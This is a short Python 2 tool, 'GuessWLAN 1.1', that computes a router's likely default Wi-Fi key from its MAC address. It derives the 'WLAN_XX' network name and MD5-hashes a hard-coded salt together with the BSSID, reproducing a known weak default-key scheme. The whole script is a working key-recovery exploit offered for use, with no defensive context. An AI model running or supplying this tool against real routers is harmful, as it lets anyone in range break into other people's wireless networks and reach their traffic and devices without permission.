import sys
import hashlib

def genkey(name, mac):
    name     = name.upper()
    bssid    = mac.replace(':','').upper()
    bssidalt = mac[:-4] + name[-4:]
    string   = 'bcgbghgg' + bssidalt + bssid
    return hashlib.md5(string).hexdigest()[:20]

if __name__ == '__main__':

    print 'GuessWLAN 1.1 by a.s.r ;)'
    print
    
    if len(sys.argv)!=2:
        print 'Usage: %s <MAC ADDRESS>' % sys.argv[0]
        exit(1)

    mac  = sys.argv[1].replace(':','').upper()
    base = int(mac[-2:],16)
    namepart = 'WLAN_' + mac[-4:-2]
    
    print 'Possible key: ',

    name = namepart + hex(base - 3)[-2:].upper()
    print genkey(name,mac)